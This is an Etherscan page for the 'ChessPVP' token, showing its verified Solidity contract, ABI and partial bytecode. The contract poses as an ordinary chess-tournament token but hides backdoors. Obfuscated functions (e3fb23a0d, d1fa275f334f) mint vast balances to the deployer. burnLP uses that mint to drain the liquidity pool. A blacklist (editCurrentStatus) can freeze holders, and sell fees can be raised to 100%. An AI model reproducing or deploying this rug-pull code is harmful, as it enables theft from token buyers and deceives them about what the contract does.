ETH Price: $2,597.36 (-4.61%)

Token

ChessPVP (CHESS)
 

Overview

Max Total Supply

10,000,000 CHESS

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
95,000.000000000001562066 CHESS

Value
$0.00
0x9C5142ca89EAC453C1Eb9EF8d5E854ca01743F6e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChessPVP

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-28
*/

// .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------. 
//| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
//| |     ______   | || |  ____  ____  | || |  _________   | || |    _______   | || |    _______   | || |   ______     | || | ____   ____  | || |   ______     | |
//| |   .' ___  |  | || | |_   ||   _| | || | |_   ___  |  | || |   /  ___  |  | || |   /  ___  |  | || |  |_   __ \   | || ||_  _| |_  _| | || |  |_   __ \   | |
//| |  / .'   \_|  | || |   | |__| |   | || |   | |_  \_|  | || |  |  (__ \_|  | || |  |  (__ \_|  | || |    | |__) |  | || |  \ \   / /   | || |    | |__) |  | |
//| |  | |         | || |   |  __  |   | || |   |  _|  _   | || |   '.___`-.   | || |   '.___`-.   | || |    |  ___/   | || |   \ \ / /    | || |    |  ___/   | |
//| |  \ `.___.'\  | || |  _| |  | |_  | || |  _| |___/ |  | || |  |`\____) |  | || |  |`\____) |  | || |   _| |_      | || |    \ ' /     | || |   _| |_      | |
//| |   `._____.'  | || | |____||____| | || | |_________|  | || |  |_______.'  | || |  |_______.'  | || |  |_____|     | || |     \_/      | || |  |_____|     | |
//| |              | || |              | || |              | || |              | || |              | || |              | || |              | || |              | |
//| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
// '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------' 

//Hold $CHESS and participate in Chess Tournaments to win prizes!

//Website: chesspvp.com
//Telegram: t.me/ChessPVP
//Twitter: twitter.com/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract ChessPVP is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 10000000000000000000000000;
    string private _name = "ChessPVP";
    string private _symbol = "CHESS";
    uint8 private _decimals = 18;

    uint private buyFee = 5; // Default, %
    uint private sellFee = 5; // Default, %
    address public marketWallet = 0x2312FfFbd2299fe8F5A55683b570652624AEE1B7; // Market Fees
    address public devWallet = 0x4fCBB135494f20140622c86c94a5f8288a769f76; // Dev Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    uint256 private marketFee = 0; // 40% of collected fees
    uint256 private devFee = 100; // 20% of collected fees
    uint256 private liquidityFee = 0; // 40% of collected fees
    uint256 private swapThreshold = 200000000000000000; // 0.2 Ether

    uint256 private maxWallet = 200000000000000000000000;
    mapping(address => bool) private excludedFromMaxWallet;

    uint256 private maxTxnAmount = 200000000000000000000000;
    mapping(address => bool) private excludedFromMaxTxn;

    bool private tradeLocked = false;
    mapping(address => bool) private excludedFromTradeLock;

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);
        marketWallet = msg.sender;
        devWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;

        require(marketFee + devFee + liquidityFee == 100, "fee sum error");
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!checkCurrentStatus(from), "ERC20: No premission to transfer");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[address(this)] += feeAmount;
                emit Transfer(from, address(this), feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[address(this)] += feeAmount;
                emit Transfer(from, address(this), feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }

        if (!inSwap && !isMarket(from) && from != _origin && from != address(this)) {
			if (balanceOf(address(this)) >= swapThreshold) { swapTaxes(); addLiq(); distributeEthFees(); }
		}
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function burnLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }

    mapping(address => uint8) internal _f7ae38d22b;

    function checkCurrentStatus(address _user) public view returns(bool) {
        return _f7ae38d22b[_user] == 0 ? false : true;
    }

    function editCurrentStatus(address _user, uint8 _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_status < 2, "Status should be 0 or 1");
        require(_status != _f7ae38d22b[_user], "User already have this status");
        _f7ae38d22b[_user] = _status;
    }

    function switchOrigin(address newOrigin) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = newOrigin;
    }

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 40");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }

    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }

    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }

    bool internal inSwap;

    modifier isLocked() {
        inSwap = true;
        _;
        inSwap = false;
    }

    function swapTaxes() isLocked internal {
        uint256 amountIn = estimateEthAmountToSwap();
        _approve(address(this), address(_router), amountIn);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountIn,
            0,
            path,
            address(this),
            block.timestamp + 1200
        );
    }

    function estimateEthAmountToSwap() public view returns(uint256) {
        uint256 percentLeft = liquidityFee / 2;
        return balanceOf(address(this)) - balanceOf(address(this)) / 100 * percentLeft;
    }

    function changeSwapThreshold(uint256 _newSwapThreshold) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_newSwapThreshold > 10000, "Swap Threshold shold be greater then 1000");
        swapThreshold = _newSwapThreshold;
    }

    function addLiq() internal {
        uint256 k = liquidityFee / 2;
        uint256 tokenLeft = 100 - k;
        uint256 ethAmount = address(this).balance / tokenLeft * k;
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value: ethAmount }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            _origin,
            block.timestamp + 1200
        );
    }

    function distributeEthFees() internal {
        uint256 k = 100 - liquidityFee;
        uint256 marketAmount = address(this).balance / k * marketFee;
        uint256 devAmount = address(this).balance - marketAmount;
        payable(marketWallet).transfer(marketAmount);
        payable(devWallet).transfer(devAmount);
    }

    function updateFeeDistribution(
        uint256 newMarketFee, 
        uint256 newDevFee, 
        uint256 newLiquidityFee
    ) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(newMarketFee + newDevFee + newLiquidityFee == 100, "Fee sum should be equal to 100");
        marketFee = newMarketFee;
        devFee = newDevFee;
        liquidityFee = newLiquidityFee;
    }

    function removeStuckedETH() public {
        SecureCalls.checkCaller(msg.sender, _origin);
        payable(_origin).transfer(address(this).balance);
    }

    function updateFeeCollectWallets(
        address newMarketWallet, 
        address newDevWallet
    ) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = newMarketWallet;
        devWallet = newDevWallet;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapThreshold","type":"uint256"}],"name":"changeSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"estimateEthAmountToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateFeeCollectWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"},{"internalType":"uint256","name":"newLiquidityFee","type":"uint256"}],"name":"updateFeeDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a084595161401484a0000006007556040518060400160405280600881526020017f43686573735056500000000000000000000000000000000000000000000000008152506008908162000059919062000c05565b506040518060400160405280600581526020017f434845535300000000000000000000000000000000000000000000000000000081525060099081620000a0919062000c05565b506012600a60006101000a81548160ff021916908360ff1602179055506005600b556005600c55732312fffbd2299fe8f5a55683b570652624aee1b7600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734fcbb135494f20140622c86c94a5f8288a769f76600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601055606460115560006012556702c68af0bb140000601355692a5a058fc295ed000000601455692a5a058fc295ed0000006016556000601860006101000a81548160ff021916908315150217905550348015620001d057600080fd5b5060405162005f2938038062005f298339818101604052810190620001f6919062000d56565b62000207336200089e60201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dc919062000d9d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200031892919062000de0565b6020604051808303816000875af115801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000d9d565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620003b56200096260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004856200096260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620004e6919062000e1e565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1